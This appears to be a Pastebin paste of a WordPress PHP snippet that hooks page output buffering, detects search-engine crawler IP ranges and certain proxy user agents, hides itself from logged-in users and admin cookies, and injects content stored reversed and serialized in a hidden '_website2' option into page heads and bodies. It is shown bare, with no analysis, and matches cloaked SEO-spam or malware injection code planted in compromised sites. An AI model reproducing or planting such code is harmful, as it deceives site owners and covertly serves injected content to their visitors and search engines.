Advertisement
Guest User

Untitled

a guest
May 3rd, 2013
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. if (!function_exists("b_call")) {
  2.  
  3. function b_call() {
  4.  
  5. if (!ob_get_level()) ob_start("b_goes");
  6.  
  7. }
  8.  
  9. function b_goes($p) {
  10.  
  11. if (!defined('wp_m1')) {
  12.  
  13. $f1 = explode('|', '3639549952,8191.1123631104,8191.1089052672,8191.1078218752,2047.1078220802,1229.1087381508,1444.3512041472,4095.1113980928,4095.1208926208,16383.1249705984,65535|via translate.google.com,Google WAP Proxy,Google CHTML Proxy|tumblrbot');
  14.  
  15. $f3=0;
  16.  
  17. $f2=ip2long($_SERVER["REMOTE_ADDR"]);
  18.  
  19. foreach(explode('.', array_shift($f1)) as $line) {
  20.  
  21. list($a1,$a2)=explode(',',$line);
  22.  
  23. if ($f2>=$a1&&$f2<=($a1+$a2)) {
  24.  
  25. $f3=1;
  26.  
  27. break;
  28.  
  29. }
  30.  
  31. }
  32.  
  33. foreach(array_reverse($f1,1) as $k=>$v) {
  34.  
  35. foreach(explode(',', $v) as $line) {
  36.  
  37. if (stripos($_SERVER["HTTP_USER_AGENT"], $line) !== false) {
  38.  
  39. $f3=$k;
  40.  
  41. break;
  42.  
  43. }
  44.  
  45. }
  46.  
  47. }
  48.  
  49. if (!$f3 || isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) || (!$m = get_option('_website2'))) {
  50.  
  51. return $p;
  52.  
  53. }
  54.  
  55. list($m, $n) = @unserialize(trim(strrev($m)));
  56.  
  57. define('wp_m1', $m);
  58.  
  59. define('wp_n1', $n);
  60.  
  61. }
  62.  
  63. if (!stripos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0\n".wp_n1, $p, 1);
  64.  
  65. if (!stripos($p, wp_m1)) $p = preg_replace("~</head>~", wp_m1."\n</head>", $p, 1);
  66.  
  67. if (!stripos($p, wp_n1)) $p = preg_replace("~</div>~", "</div>\n".wp_n1, $p, 1);
  68.  
  69. if (!stripos($p, wp_m1)) $p = preg_replace("~</div>~", wp_m1."\n</div>", $p, 1);
  70.  
  71. return $p;
  72.  
  73. }
  74.  
  75. function b_end() {
  76.  
  77. @ob_end_flush();
  78.  
  79. }
  80.  
  81. if (ob_get_level()) ob_end_clean();
  82.  
  83. add_action("init", "b_call");
  84.  
  85. add_action("wp_head", "b_call");
  86.  
  87. add_action("get_sidebar", "b_call");
  88.  
  89. add_action("wp_footer", "b_call");
  90.  
  91. add_action("shutdown", "b_end");
  92.  
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement